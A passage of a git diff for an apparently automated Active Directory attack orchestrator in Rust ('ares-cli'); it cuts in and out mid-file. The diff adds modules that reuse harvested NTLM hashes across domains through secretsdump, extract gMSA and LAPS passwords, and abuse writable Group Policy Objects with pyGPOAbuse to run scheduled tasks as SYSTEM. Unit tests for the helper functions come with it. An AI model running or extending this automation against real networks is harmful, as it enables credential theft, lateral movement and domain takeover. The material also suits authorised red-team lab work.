!dispatcher.is_technique_allowed("credential_reuse") { + continue; + } + + // Collect cross-domain reuse candidates: + // For each NTLM hash extracted from a dominated domain, try it against + // DCs in domains that are NOT in the same forest as the source domain. + let work: Vec<(String, String, String, String, String)> = { + let state = dispatcher.state.read().await; + + // Need at least 2 known DCs (implies multiple domains) + if state.domain_controllers.len() < 2 { + continue; + } + + let mut items = Vec::new(); + + // Target high-value accounts for cross-domain reuse + let reuse_candidates: Vec<_> = state + .hashes + .iter() + .filter(|h| h.hash_type.to_uppercase() == "NTLM") + .filter(|h| !h.hash_value.is_empty()) + // Focus on accounts likely to be shared across domains + .filter(|h| { + let u = h.username.to_lowercase(); + u == "administrator" + || u == "localuser" + || u.contains("svc") + || u.contains("admin") + || u.contains("sql") + || h.username == h.username.to_uppercase() // Machine accounts + }) + .collect(); + + for hash in &reuse_candidates { + let hash_domain = hash.domain.to_lowercase(); + + for (dc_domain, dc_ip) in &state.domain_controllers { + let target_domain = dc_domain.to_lowercase(); + + // Skip same domain and parent/child domains (handled by secretsdump.rs) + if target_domain == hash_domain + || target_domain.ends_with(&format!(".{hash_domain}")) + || hash_domain.ends_with(&format!(".{target_domain}")) + { + continue; + } + + let dedup = format!( + "{}:{}:{}:{}", + dc_ip, + target_domain, + hash.username.to_lowercase(), + &hash.hash_value[..16.min(hash.hash_value.len())] + ); + if !state.is_processed(DEDUP_CROSS_REUSE, &dedup) { + items.push(( + dedup, + dc_ip.clone(), + hash.username.clone(), + hash.domain.clone(), + hash.hash_value.clone(), + )); + } + } + } + + items + }; + + if work.is_empty() { + continue; + } + + // Limit to 3 per cycle to avoid flooding + for (dedup_key, dc_ip, username, source_domain, hash_value) in work.into_iter().take(3) { + debug!( + dc = %dc_ip, + username = %username, + source_domain = %source_domain, + "Attempting cross-domain hash reuse" + ); + + let priority = dispatcher.effective_priority("credential_reuse"); + match dispatcher + .request_secretsdump_hash(&dc_ip, &username, &source_domain, &hash_value, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + dc = %dc_ip, + username = %username, + source_domain = %source_domain, + "Cross-domain hash reuse secretsdump dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_CROSS_REUSE, dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_CROSS_REUSE, &dedup_key) + .await; + } + Ok(None) => { + debug!("Cross-domain reuse deferred by throttler"); + } + Err(e) => warn!(err = %e, "Failed to dispatch cross-domain reuse"), + } + } + } +} diff --git a/ares-cli/src/orchestrator/automation/gmsa.rs b/ares-cli/src/orchestrator/automation/gmsa.rs index 615ab6bc..ce1eceed 100644 --- a/ares-cli/src/orchestrator/automation/gmsa.rs +++ b/ares-cli/src/orchestrator/automation/gmsa.rs @@ -16,6 +16,22 @@ use tracing::{debug, info, warn}; use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::state::*; +/// Returns `true` if the username and description indicate a gMSA account. +/// +/// gMSA accounts typically end with `$` and have "managed service" in their +/// description, or their name contains "gmsa". +fn is_gmsa_account(username: &str, description: &str) -> bool { + username.ends_with('$') + && (description.to_lowercase().contains("managed service") + || username.to_lowercase().contains("gmsa")) +} + +/// Returns `true` if the vulnerability type is a gMSA candidate. +fn is_gmsa_vuln_type(vuln_type: &str) -> bool { + let vtype = vuln_type.to_lowercase(); + vtype == "gmsa" || vtype == "gmsa_reader" || vtype == "readgmsapassword" +} + /// Monitors for gMSA accounts and dispatches password extraction. /// Interval: 30s. pub async fn auto_gmsa_extraction( @@ -42,50 +58,131 @@ pub async fn auto_gmsa_extraction( continue; } - // Find gMSA-like accounts from discovered users - let gmsa_accounts: Vec = state - .users - .iter() - .filter_map(|user| { - // gMSA accounts typically end with $ and have "managed service" - // in description, or their name contains "gmsa" / "msds" - let is_gmsa = user.username.ends_with('$') - && (user.description.to_lowercase().contains("managed service") - || user.username.to_lowercase().contains("gmsa")); - - if !is_gmsa { - return None; - } - - let dedup_key = format!( - "{}:{}", - user.domain.to_lowercase(), - user.username.to_lowercase() - ); - if state.is_processed(DEDUP_GMSA_ACCOUNTS, &dedup_key) { - return None; - } - - // Find a credential we can use to query this domain - let cred = state - .credentials - .iter() - .find(|c| c.domain.to_lowercase() == user.domain.to_lowercase())?; - - let dc_ip = state - .domain_controllers - .get(&user.domain.to_lowercase()) - .cloned()?; - - Some(GmsaWork { - dedup_key, - gmsa_account: user.username.clone(), - domain: user.domain.clone(), - dc_ip, - credential: cred.clone(), + let mut gmsa_accounts: Vec = Vec::new(); + let mut seen_accounts = std::collections::HashSet::new(); + + // Path 1: Detect from discovered users (original path) + for user in &state.users { + if !is_gmsa_account(&user.username, &user.description) { + continue; + } + + let key = format!( + "{}:{}", + user.domain.to_lowercase(), + user.username.to_lowercase() + ); + if state.is_processed(DEDUP_GMSA_ACCOUNTS, &key) + || !seen_accounts.insert(key.clone()) + { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == user.domain.to_lowercase()) + { + Some(c) => c.clone(), + None => continue, + }; + + let dc_ip = match state + .domain_controllers + .get(&user.domain.to_lowercase()) + .cloned() + { + Some(ip) => ip, + None => continue, + }; + + gmsa_accounts.push(GmsaWork { + dedup_key: key, + gmsa_account: user.username.clone(), + domain: user.domain.clone(), + dc_ip, + credential: cred, + }); + } + + // Path 2: Detect from discovered vulnerabilities (BloodHound edges) + // BloodHound may report gMSA reader edges or gMSA-related vulns + for vuln in state.discovered_vulnerabilities.values() { + if !is_gmsa_vuln_type(&vuln.vuln_type) { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + + let gmsa_account = match vuln + .details + .get("target") + .or_else(|| vuln.details.get("gmsa_account")) + .or_else(|| vuln.details.get("account_name")) + .and_then(|v| v.as_str()) + { + Some(a) => a.to_string(), + None => continue, + }; + + let reader = vuln + .details + .get("source") + .or_else(|| vuln.details.get("reader")) + .and_then(|v| v.as_str()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let key = format!("{}:{}", domain.to_lowercase(), gmsa_account.to_lowercase()); + if state.is_processed(DEDUP_GMSA_ACCOUNTS, &key) + || !seen_accounts.insert(key.clone()) + { + continue; + } + + // Find credential for the reader (who has ReadGMSAPassword) + let cred = reader + .and_then(|r| { + state.credentials.iter().find(|c| { + c.username.to_lowercase() == r.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) }) - }) - .collect(); + .or_else(|| { + state.credentials.iter().find(|c| { + !domain.is_empty() && c.domain.to_lowercase() == domain.to_lowercase() + }) + }); + + let cred = match cred { + Some(c) => c.clone(), + None => continue, + }; + + let dc_ip = match state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned() + { + Some(ip) => ip, + None => continue, + }; + + gmsa_accounts.push(GmsaWork { + dedup_key: key, + gmsa_account, + domain, + dc_ip, + credential: cred, + }); + } gmsa_accounts }; @@ -103,8 +200,9 @@ pub async fn auto_gmsa_extraction( }, }); + let priority = dispatcher.effective_priority("gmsa"); match dispatcher - .throttled_submit("credential_access", "credential_access", payload, 3) + .throttled_submit("credential_access", "credential_access", payload, priority) .await { Ok(Some(task_id)) => { @@ -143,3 +241,125 @@ struct GmsaWork { dc_ip: String, credential: ares_core::models::Credential, } + +#[cfg(test)] +mod tests { + use super::*; + + // ─── is_gmsa_account ──────────────────────────────────────────────────── + + #[test] + fn test_is_gmsa_account_managed_service_description() { + assert!(is_gmsa_account( + "svc_web$", + "Managed Service Account for web servers" + )); + } + + #[test] + fn test_is_gmsa_account_gmsa_in_username() { + assert!(is_gmsa_account("gmsa_svc$", "some service account")); + } + + #[test] + fn test_is_gmsa_account_case_insensitive_description() { + assert!(is_gmsa_account( + "svc_sql$", + "MANAGED SERVICE account for SQL" + )); + } + + #[test] + fn test_is_gmsa_account_case_insensitive_username() { + assert!(is_gmsa_account("GMSA_SVC$", "regular account")); + } + + #[test] + fn test_is_gmsa_account_no_dollar_suffix() { + // Must end with $ + assert!(!is_gmsa_account( + "svc_web", + "Managed Service Account for web" + )); + } + + #[test] + fn test_is_gmsa_account_dollar_but_no_indicators() { + // Ends with $ but no "managed service" in description and no "gmsa" in name + assert!(!is_gmsa_account("svc_sql$", "regular computer account")); + } + + #[test] + fn test_is_gmsa_account_regular_user() { + assert!(!is_gmsa_account("administrator", "Built-in admin account")); + } + + #[test] + fn test_is_gmsa_account_empty_description_with_gmsa_name() { + assert!(is_gmsa_account("gmsa_backup$", "")); + } + + #[test] + fn test_is_gmsa_account_empty_description_without_gmsa_name() { + assert!(!is_gmsa_account("svc_backup$", "")); + } + + // ─── is_gmsa_vuln_type ────────────────────────────────────────────────── + + #[test] + fn test_is_gmsa_vuln_type_gmsa() { + assert!(is_gmsa_vuln_type("gmsa")); + } + + #[test] + fn test_is_gmsa_vuln_type_gmsa_reader() { + assert!(is_gmsa_vuln_type("gmsa_reader")); + } + + #[test] + fn test_is_gmsa_vuln_type_readgmsapassword() { + assert!(is_gmsa_vuln_type("readgmsapassword")); + } + + #[test] + fn test_is_gmsa_vuln_type_case_insensitive() { + assert!(is_gmsa_vuln_type("GMSA")); + assert!(is_gmsa_vuln_type("GMSA_READER")); + assert!(is_gmsa_vuln_type("ReadGMSAPassword")); + } + + #[test] + fn test_is_gmsa_vuln_type_negative() { + assert!(!is_gmsa_vuln_type("rbcd")); + assert!(!is_gmsa_vuln_type("laps")); + assert!(!is_gmsa_vuln_type("constrained_delegation")); + assert!(!is_gmsa_vuln_type("esc1")); + assert!(!is_gmsa_vuln_type("gmsa_something_else")); + assert!(!is_gmsa_vuln_type("")); + } + + // ─── dedup key construction ───────────────────────────────────────────── + + #[test] + fn test_dedup_gmsa_accounts_value() { + assert_eq!(DEDUP_GMSA_ACCOUNTS, "gmsa_accounts"); + } + + #[test] + fn test_dedup_key_format() { + let domain = "contoso.local"; + let username = "gmsa_svc$"; + let key = format!("{}:{}", domain.to_lowercase(), username.to_lowercase()); + assert_eq!(key, "contoso.local:gmsa_svc$"); + } + + #[test] + fn test_dedup_key_normalizes_case() { + let key = format!( + "{}:{}", + "FABRIKAM.LOCAL".to_lowercase(), + "GMSA_SVC$".to_lowercase() + ); + assert_eq!(key, "fabrikam.local:gmsa_svc$"); + } +} diff --git a/ares-cli/src/orchestrator/automation/gpo.rs b/ares-cli/src/orchestrator/automation/gpo.rs new file mode 100644 index 00000000..79d61683 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/gpo.rs @@ -0,0 +1,517 @@ +//! auto_gpo_abuse -- exploit GPO write access for code execution. +//! +//! When a controlled user has write access to a Group Policy Object +//! (e.g., samwell.tarly has write on a GPO linked to north.sevenkingdoms.local), +//! this automation dispatches `pyGPOAbuse` to inject a scheduled task that +//! runs as SYSTEM on all hosts where the GPO applies. +//! +//! GPO vulns are typically discovered via BloodHound edges (WriteProperty, +//! WriteDacl, GenericAll on GPO objects). + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for GPO abuse attacks. +const DEDUP_GPO_ABUSE: &str = "gpo_abuse"; + +/// Monitors for GPO write access vulnerabilities and dispatches exploitation. +/// Interval: 30s. +pub async fn auto_gpo_abuse(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("gpo_abuse") { + continue; + } + + { + let state = dispatcher.state.read().await; + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { + continue; + } + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + if !is_gpo_candidate(&vuln.vuln_type) { + return None; + } + + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("{DEDUP_GPO_ABUSE}:{}", vuln.vuln_id); + if state.is_processed(DEDUP_GPO_ABUSE, &dedup_key) { + return None; + } + + let source_user = vuln + .details + .get("source") + .or_else(|| vuln.details.get("source_user")) + .or_else(|| vuln.details.get("account_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string())?; + + let gpo_id = vuln + .details + .get("gpo_id") + .or_else(|| vuln.details.get("gpo_guid")) + .or_else(|| vuln.details.get("object_id")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + let gpo_name = vuln + .details + .get("gpo_name") + .or_else(|| vuln.details.get("gpo_display_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + // Find credential for the source user + let credential = state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == source_user.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned(); + + if credential.is_none() { + debug!( + vuln_id = %vuln.vuln_id, + source = %source_user, + "GPO abuse skipped: no credential for source user" + ); + return None; + } + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + Some(GpoWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + source_user, + gpo_id, + gpo_name, + domain, + dc_ip, + credential, + }) + }) + .collect() + }; + + for item in work { + let mut payload = json!({ + "technique": "gpo_abuse", + "vuln_type": "gpo_abuse", + "vuln_id": item.vuln_id, + "domain": item.domain, + }); + + if let Some(ref gpo_id) = item.gpo_id { + payload["gpo_id"] = json!(gpo_id); + } + if let Some(ref name) = item.gpo_name { + payload["gpo_name"] = json!(name); + } + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + + if let Some(ref cred) = item.credential { + payload["username"] = json!(cred.username); + payload["password"] = json!(cred.password); + payload["credential"] = json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + } + + let priority = dispatcher.effective_priority("gpo_abuse"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + source = %item.source_user, + gpo = ?item.gpo_name, + "GPO abuse dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_GPO_ABUSE, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_GPO_ABUSE, &item.dedup_key) + .await; + } + Ok(None) => {} + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch GPO abuse") + } + } + } + } +} + +struct GpoWork { + vuln_id: String, + dedup_key: String, + source_user: String, + gpo_id: Option, + gpo_name: Option, + domain: String, + dc_ip: Option, + credential: Option, +} + +/// Returns `true` if a vulnerability type represents a GPO abuse candidate. +fn is_gpo_candidate(vuln_type: &str) -> bool { + let vtype = vuln_type.to_lowercase(); + vtype == "gpo_abuse" + || vtype == "gpo_write" + || vtype == "gpo_genericall" + || vtype == "gpo_genericwrite" + || vtype == "gpo_writedacl" + || vtype == "gpo_writeowner" + || vtype.starts_with("gpo_") +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::Value; + use std::collections::HashMap; + + #[test] + fn test_is_gpo_candidate() { + assert!(is_gpo_candidate("gpo_abuse")); + assert!(is_gpo_candidate("GPO_ABUSE")); + assert!(is_gpo_candidate("gpo_write")); + assert!(is_gpo_candidate("gpo_genericall")); + assert!(is_gpo_candidate("gpo_writedacl")); + assert!(!is_gpo_candidate("genericall")); + assert!(!is_gpo_candidate("rbcd")); + assert!(!is_gpo_candidate("esc1")); + } + + #[test] + fn test_is_gpo_candidate_all_explicit_types() { + // Verify every explicitly listed GPO vuln type + let gpo_types = vec![ + "gpo_abuse", + "gpo_write", + "gpo_genericall", + "gpo_genericwrite", + "gpo_writedacl", + "gpo_writeowner", + ]; + for vtype in &gpo_types { + assert!(is_gpo_candidate(vtype), "{vtype} should be GPO candidate"); + } + // Also verify case-insensitive matching + for vtype in &gpo_types { + let upper = vtype.to_uppercase(); + assert!( + is_gpo_candidate(&upper), + "{upper} should be GPO candidate (case-insensitive)" + ); + } + } + + #[test] + fn test_is_gpo_candidate_wildcard_prefix() { + // Anything starting with gpo_ should match via starts_with + assert!(is_gpo_candidate("gpo_custom_edge")); + assert!(is_gpo_candidate("GPO_something_new")); + assert!(is_gpo_candidate("gpo_")); + } + + #[test] + fn test_is_gpo_candidate_non_gpo_types() { + // Exhaustive negative cases + let non_gpo = vec![ + "rbcd", + "esc1", + "esc4", + "esc8", + "shadow_credentials", + "constrained_delegation", + "unconstrained_delegation", + "genericall", + "genericwrite", + "writedacl", + "dcsync", + "mssql_impersonation", + "", + ]; + for vtype in non_gpo { + assert!( + !is_gpo_candidate(vtype), + "{vtype:?} should NOT be GPO candidate" + ); + } + } + + #[test] + fn test_dedup_key_format() { + let vuln_id = "vuln-gpo-001"; + let dedup_key = format!("{DEDUP_GPO_ABUSE}:{vuln_id}"); + assert_eq!(dedup_key, "gpo_abuse:vuln-gpo-001"); + } + + #[test] + fn test_dedup_key_constant() { + assert_eq!(DEDUP_GPO_ABUSE, "gpo_abuse"); + } + + /// Helper: simulate the source_user extraction logic from auto_gpo_abuse + fn extract_gpo_source_user(details: &HashMap) -> Option { + details + .get("source") + .or_else(|| details.get("source_user")) + .or_else(|| details.get("account_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + } + + /// Helper: simulate the gpo_id extraction logic from auto_gpo_abuse + fn extract_gpo_id(details: &HashMap) -> Option { + details + .get("gpo_id") + .or_else(|| details.get("gpo_guid")) + .or_else(|| details.get("object_id")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + } + + /// Helper: simulate the gpo_name extraction logic from auto_gpo_abuse + fn extract_gpo_name(details: &HashMap) -> Option { + details + .get("gpo_name") + .or_else(|| details.get("gpo_display_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + } + + #[test] + fn test_extract_source_user_from_source_key() { + let mut details = HashMap::new(); + details.insert("source".to_string(), json!("jdoe")); + assert_eq!(extract_gpo_source_user(&details), Some("jdoe".to_string())); + } + + #[test] + fn test_extract_source_user_from_source_user_key() { + let mut details = HashMap::new(); + details.insert("source_user".to_string(), json!("admin")); + assert_eq!(extract_gpo_source_user(&details), Some("admin".to_string())); + } + + #[test] + fn test_extract_source_user_from_account_name_key() { + let mut details = HashMap::new(); + details.insert("account_name".to_string(), json!("svc_gpo")); + assert_eq!( + extract_gpo_source_user(&details), + Some("svc_gpo".to_string()) + ); + } + + #[test] + fn test_extract_source_user_prefers_source_over_account_name() { + // "source" takes priority over "account_name" + let mut details = HashMap::new(); + details.insert("source".to_string(), json!("primary_user")); + details.insert("account_name".to_string(), json!("fallback_user")); + assert_eq!( + extract_gpo_source_user(&details), + Some("primary_user".to_string()) + ); + } + + #[test] + fn test_extract_source_user_prefers_source_over_source_user() { + // "source" takes priority over "source_user" + let mut details = HashMap::new(); + details.insert("source".to_string(), json!("first")); + details.insert("source_user".to_string(), json!("second")); + assert_eq!(extract_gpo_source_user(&details), Some("first".to_string())); + } + + #[test] + fn test_extract_source_user_none_when_empty() { + let details = HashMap::new(); + assert_eq!(extract_gpo_source_user(&details), None); + } + + #[test] + fn test_extract_source_user_none_when_non_string() { + let mut details = HashMap::new(); + details.insert("source".to_string(), json!(42)); + assert_eq!(extract_gpo_source_user(&details), None); + } + + #[test] + fn test_extract_gpo_id_from_gpo_id_key() { + let mut details = HashMap::new(); + details.insert( + "gpo_id".to_string(), + json!("{6AC1786C-016F-11D2-945F-00C04fB984F9}"), + ); + assert_eq!( + extract_gpo_id(&details), + Some("{6AC1786C-016F-11D2-945F-00C04fB984F9}".to_string()) + ); + } + + #[test] + fn test_extract_gpo_id_from_gpo_guid_key() { + let mut details = HashMap::new(); + details.insert( + "gpo_guid".to_string(), + json!("{31B2F340-016D-11D2-945F-00C04FB984F9}"), + ); + assert_eq!( + extract_gpo_id(&details), + Some("{31B2F340-016D-11D2-945F-00C04FB984F9}".to_string()) + ); + } + + #[test] + fn test_extract_gpo_id_from_object_id_key() { + let mut details = HashMap::new(); + details.insert("object_id".to_string(), json!("S-1-5-21-abc-123")); + assert_eq!( + extract_gpo_id(&details), + Some("S-1-5-21-abc-123".to_string()) + ); + } + + #[test] + fn test_extract_gpo_id_prefers_gpo_id_over_gpo_guid() { + let mut details = HashMap::new(); + details.insert("gpo_id".to_string(), json!("primary-gpo")); + details.insert("gpo_guid".to_string(), json!("fallback-guid")); + assert_eq!(extract_gpo_id(&details), Some("primary-gpo".to_string())); + } + + #[test] + fn test_extract_gpo_id_none_when_empty() { + let details = HashMap::new(); + assert_eq!(extract_gpo_id(&details), None); + } + + #[test] + fn test_extract_gpo_name_from_gpo_name_key() { + let mut details = HashMap::new(); + details.insert("gpo_name".to_string(), json!("Default Domain Policy")); + assert_eq!( + extract_gpo_name(&details), + Some("Default Domain Policy".to_string()) + ); + } + + #[test] + fn test_extract_gpo_name_from_display_name_key() { + let mut details = HashMap::new(); + details.insert( + "gpo_display_name".to_string(), + json!("Server Hardening Policy"), + ); + assert_eq!( + extract_gpo_name(&details), + Some("Server Hardening Policy".to_string()) + ); + } + + #[test] + fn test_extract_gpo_name_prefers_gpo_name_over_display_name() { + let mut details = HashMap::new(); + details.insert("gpo_name".to_string(), json!("Primary Name")); + details.insert("gpo_display_name".to_string(), json!("Display Name")); + assert_eq!(extract_gpo_name(&details), Some("Primary Name".to_string())); + } + + #[test] + fn test_extract_gpo_name_none_when_empty() { + let details = HashMap::new(); + assert_eq!(extract_gpo_name(&details), None); + } + + #[test] + fn test_extract_gpo_name_none_when_non_string() { + let mut details = HashMap::new(); + details.insert("gpo_name".to_string(), json!(true)); + assert_eq!(extract_gpo_name(&details), None); + } + + #[test] + fn test_domain_extraction_from_details() { + // Simulate the domain extraction logic from auto_gpo_abuse + let mut details = HashMap::new(); + details.insert("domain".to_string(), json!("contoso.local")); + let domain = details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn test_domain_extraction_missing_defaults_empty() { + let details: HashMap = HashMap::new(); + let domain = details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + assert_eq!(domain, ""); + } +} diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs new file mode 100644 index 00000000..b85cc967 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -0,0 +1,310 @@ +//! auto_laps_extraction -- explicitly read LAPS passwords from AD. +//! +//! LAPS stores local administrator passwords in the `ms-Mcs-AdmPwd` (legacy) +//! or `msLAPS-Password` (Windows LAPS) attribute. Any principal with read +//! access on the computer object can retrieve it. +//! +//! This module dispatches explicit LAPS read attempts for each credential +//! against each discovered host, complementing the low_hanging_fruit task +//! which bundles LAPS with other checks. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for LAPS extraction. +const DEDUP_LAPS: &str = "laps_extract"; + +/// Returns `true` if the vulnerability type is a LAPS candidate. +fn is_laps_candidate(vuln_type: &str) -> bool { + let vtype = vuln_type.to_lowercase(); + vtype == "laps_abuse" || vtype == "laps_reader" || vtype == "laps" +} + +/// Monitors for LAPS-readable hosts and dispatches password extraction. +/// Interval: 45s. Runs after initial credential discovery to avoid wasting +/// unauthenticated cycles. +pub async fn auto_laps_extraction( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("laps") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + if state.credentials.is_empty() { + continue; + } + + // Two paths to LAPS: + // 1. Vuln-driven: BloodHound/ACL analysis found explicit LAPS read access + // 2. Domain-wide: try each credential against the DC to read LAPS for all + // computers (netexec ldap -M laps) + + let mut items = Vec::new(); + + // Path 1: Vulnerability-driven LAPS (specific reader identified) + for vuln in state.discovered_vulnerabilities.values() { + if !is_laps_candidate(&vuln.vuln_type) { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + + let dedup_key = format!("{DEDUP_LAPS}:vuln:{}", vuln.vuln_id); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let reader = vuln + .details + .get("source") + .or_else(|| vuln.details.get("account_name")) + .or_else(|| vuln.details.get("reader")) + .and_then(|v| v.as_str()); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let target_computer = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_computer")) + .and_then(|v| v.as_str()) + .unwrap_or(""); + + // Find credential for the reader + let credential = reader + .and_then(|r| { + state.credentials.iter().find(|c| { + c.username.to_lowercase() == r.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + }) + .cloned(); + + if let Some(cred) = credential { + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + items.push(LapsWork { + dedup_key, + domain: domain.to_string(), + dc_ip, + target_computer: if target_computer.is_empty() { + None + } else { + Some(target_computer.to_string()) + }, + credential: cred, + vuln_id: Some(vuln.vuln_id.clone()), + }); + } + } + + // Path 2: Domain-wide LAPS sweep (one per domain+credential) + for cred in state.credentials.iter().filter(|c| { + !c.domain.is_empty() + && !c.password.is_empty() + && !state.is_delegation_account(&c.username) + && !state.is_credential_quarantined(&c.username, &c.domain) + }) { + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + cred.domain.to_lowercase(), + cred.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let dc_ip = state + .domain_controllers + .get(&cred.domain.to_lowercase()) + .cloned(); + + if dc_ip.is_some() { + items.push(LapsWork { + dedup_key, + domain: cred.domain.clone(), + dc_ip, + target_computer: None, + credential: cred.clone(), + vuln_id: None, + }); + } + } + + // Limit to avoid spamming + let limit = if dispatcher.config.strategy.is_comprehensive() { + 10 + } else { + 3 + }; + items.into_iter().take(limit).collect() + }; + + for item in work { + let mut payload = json!({ + "technique": "laps_dump", + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + if let Some(ref comp) = item.target_computer { + payload["target_computer"] = json!(comp); + } + if let Some(ref vid) = item.vuln_id { + payload["vuln_id"] = json!(vid); + } + + let priority = dispatcher.effective_priority("laps"); + match dispatcher + .throttled_submit("credential_access", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + username = %item.credential.username, + target = ?item.target_computer, + "LAPS extraction dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_LAPS, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_LAPS, &item.dedup_key) + .await; + } + Ok(None) => {} + Err(e) => warn!(err = %e, "Failed to dispatch LAPS extraction"), + } + } + } +} + +struct LapsWork { + dedup_key: String, + domain: String, + dc_ip: Option, + target_computer: Option, + credential: ares_core::models::Credential, + vuln_id: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + // ─── is_laps_candidate ────────────────────────────────────────────────── + + #[test] + fn test_is_laps_candidate_laps_abuse() { + assert!(is_laps_candidate("laps_abuse")); + } + + #[test] + fn test_is_laps_candidate_laps_reader() { + assert!(is_laps_candidate("laps_reader")); + } + + #[test] + fn test_is_laps_candidate_laps_plain() { + assert!(is_laps_candidate("laps")); + } + + #[test] + fn test_is_laps_candidate_case_insensitive() { + assert!(is_laps_candidate("LAPS_ABUSE")); + assert!(is_laps_candidate("Laps_Reader")); + assert!(is_laps_candidate("LAPS")); + } + + #[test] + fn test_is_laps_candidate_negative() { + assert!(!is_laps_candidate("rbcd")); + assert!(!is_laps_candidate("constrained_delegation")); + assert!(!is_laps_candidate("esc1")); + assert!(!is_laps_candidate("gmsa")); + assert!(!is_laps_candidate("laps_something_else")); + assert!(!is_laps_candidate("")); + } + + // ─── DEDUP_LAPS constant ──────────────────────────────────────────────── + + #[test] + fn test_dedup_laps_value() { + assert_eq!(DEDUP_LAPS, "laps_extract"); + } + + // ─── dedup key construction ───────────────────────────────────────────── + + #[test] + fn test_vuln_dedup_key_format() { + let vuln_id = "vuln-laps-dc01"; + let dedup_key = format!("{DEDUP_LAPS}:vuln:{vuln_id}"); + assert_eq!(dedup_key, "laps_extract:vuln:vuln-laps-dc01"); + } + + #[test] + fn test_sweep_dedup_key_format() { + let domain = "contoso.local"; + let username = "svc_admin"; + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + domain.to_lowercase(), + username.to_lowercase() + ); + assert_eq!(dedup_key, "laps_extract:sweep:contoso.local:svc_admin"); + } + + #[test] + fn test_sweep_dedup_key_normalizes_case() { + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + "CONTOSO.LOCAL".to_lowercase(), + "SVC_Admin".to_lowercase() + ); + assert_eq!(dedup_key, 